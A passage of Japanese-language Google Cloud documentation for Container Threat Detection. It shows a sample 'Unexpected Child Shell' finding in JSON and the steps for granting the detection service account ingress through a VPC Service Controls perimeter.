    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "projectDisplayName": "PROJECT_ID",
    "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parentDisplayName": "PROJECT_ID",
    "type": "google.container.Cluster"
  }
}
  

予期しない子シェル

{
  "finding": {
    "access": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Unexpected Child Shell",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_URI",
        "imageId": "CONTAINER_IMAGE_ID"
      }
    ],
    "createTime": "2023-06-29T17:34:13.765Z",
    "database": {},
    "description": "A process should not normally create child shell processes, spawn a child shell process.",
    "eventTime": "2023-06-29T17:34:13.492Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "ns": "default",
          "name": "CONTAINER_NAME",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_URI",
              "imageId": CONTAINER_IMAGE_ID"
            }
          ]
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "COMMAND_AND_SCRIPTING_INTERPRETER"
      ]
    },
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/home/vmagent/app/temp/dash\"",
          "size": "31376",
          "sha256": "31351885b07570f450f57bd19cf28ff4310b8774a1c2580c3c7c9e7336c8467e",
          "hashedSize": "31376",
          "partiallyHashed": false
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"./temp/dash\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-unexpected-child-shell-3f50de2ab54bac1b\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://10.52.113.1:443\""
          },
          {
            "name": "\"PYTHONUNBUFFERED\"",
            "val": "\"1\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"10.52.113.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/home/vmagent/app\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"SHLVL\"",
            "val": "\"1\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"PORT\"",
            "val": "\"8080\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"10.52.113.1\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://10.52.113.1:443\""
          },
          {
            "name": "\"_\"",
            "val": "\"./temp/dash\""
          }
        ],
        "pid": "15",
        "parentPid": "14"
      },
      {
        "binary": {
          "path": "\"/home/vmagent/app/temp/consul\"",
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"./temp/consul\""
        ],
        "argumentsTruncated": false,
        "pid": "14",
        "parentPid": "13"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "display_name": "CLUSTER_ID",
    "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "project_display_name": "PROJECT_ID",
    "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parent_display_name": "PROJECT_ID",
    "type": "google.container.Cluster",
    "folders": []
  },
  "sourceProperties": {
    "Process_Arguments": [
      "./temp/dash"
    ],
    "Pid": 15,
    "Process_Creation_Timestamp": {
      "seconds": 1688060050,
      "nanos": 207040864
    },
    "Container_Image_Uri": "CONTAINER_IMAGE_URI",
    "Process_Binary_Fullpath": "/home/vmagent/app/temp/dash",
    "VM_Instance_Name": "INSTANCE_ID",
    "Pod_Name": "POD_NAME",
    "Pod_Namespace": "default",
    "Container_Name": "CONTAINER_NAME",
    "Container_Image_Id": "CONTAINER_IMAGE_ID",
    "Container_Creation_Timestamp": {
      "seconds": 1688060050,
      "nanos": 0
    },
    "Parent_Pid": 14,
    "Environment_Variables": [
      "HOSTNAME=ktd-test-unexpected-child-shell-3f50de2ab54bac1b",
      "KUBERNETES_PORT_443_TCP_PORT=443",
      "KUBERNETES_PORT=tcp://10.52.113.1:443",
      "PYTHONUNBUFFERED=1",
      "KUBERNETES_SERVICE_PORT=443",
      "KUBERNETES_SERVICE_HOST=10.52.113.1",
      "PATH=/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "PWD=/home/vmagent/app",
      "LANG=C.UTF-8",
      "SHLVL=1",
      "HOME=/root",
      "KUBERNETES_PORT_443_TCP_PROTO=tcp",
      "KUBERNETES_SERVICE_PORT_HTTPS=443",
      "DEBIAN_FRONTEND=noninteractive",
      "PORT=8080",
      "KUBERNETES_PORT_443_TCP_ADDR=10.52.113.1",
      "KUBERNETES_PORT_443_TCP=tcp://10.52.113.1:443",
      "_=./temp/dash"
    ]
  }
}
    

サービス境界で保護されているプロジェクトのスキャン

2023 年 12 月 7 日以降に組織レベルで Security Command Center を有効にし、特定のプロジェクトやサービスへのアクセスをブロックするサービス境界がある場合、Container Threat Detection のサービス アカウントに、そのサービス境界へのインバウンド アクセスを許可する必要があります。そうしないと、Container Threat Detection は、保護されたプロジェクトやサービスに関連する検出結果を生成できません。

組織レベルのアクティベーションの場合、サービス アカウントの ID は次の形式のメールアドレスです。

service-org-ORGANIZATION_ID@gcp-sa-ktd-hpsa.iam.gserviceaccount.com

上記の例で、ORGANIZATION_ID は組織の数値 ID に置き換えます。

クラスタが VPC Service Controls サービス境界内にある場合は、Container Threat Detection API である containerthreatdetection.googleapis.comアクセス可能なサービスとして一覧表示されることを確認してください。詳細については、サービス境界の概要をご覧ください。

サービス アカウントにサービス境界へのインバウンド アクセスを許可するには、次の手順を行います。

  1. [VPC Service Controls] に移動します。

    [VPC Service Controls] に移動

  2. ツールバーで、 Google Cloud 組織を選択します。

  3. プルダウン リストで、アクセスを許可するサービス境界を含むアクセス ポリシーを選択します。

    アクセス ポリシー リスト

    アクセス ポリシーに関連付けられているサービス境界がリストに表示されます。

  4. サービス境界の名前をクリックします。

  5. [境界を編集] をクリックします。

  6. ナビゲーション メニューで、[上り(内向き)ポリシー] をクリックします。

  7. [ルールを追加] をクリックします。

  8. 次のようにルールを構成します。

    API クライアントの FROM 属性

    1. [ソース] で [すべてのソース] を選択します。
    2. [ID] で、[選択した ID] を選択します。
    3. [ユーザー アカウント / サービス アカウントの追加] フィールドで [選択] をクリックします。
    4. サービス アカウントのメールアドレスを入力します。組織レベルとプロジェクト レベルの両方にサービス アカウントがある場合は、両方を追加します。
    5. [保存] をクリックします。

    サービス/リソースの TO 属性

    1. [プロジェクト] で、[すべてのプロジェクト] を選択します。

    2. [サービス] で、[すべてのサービス] を選択するか、VPC Service Controls の違反が表示される特定のサービスを選択します。

    サービス境界が必須サービスへのアクセスを制限している場合、Container Threat Detection は、そのサービスに対する検出結果を生成できません。

  9. ナビゲーション メニューで、[保存] をクリックします。

詳細については、上り(内向き)ポリシーと下り(外向き)ポリシーの構成をご覧ください。

次のステップ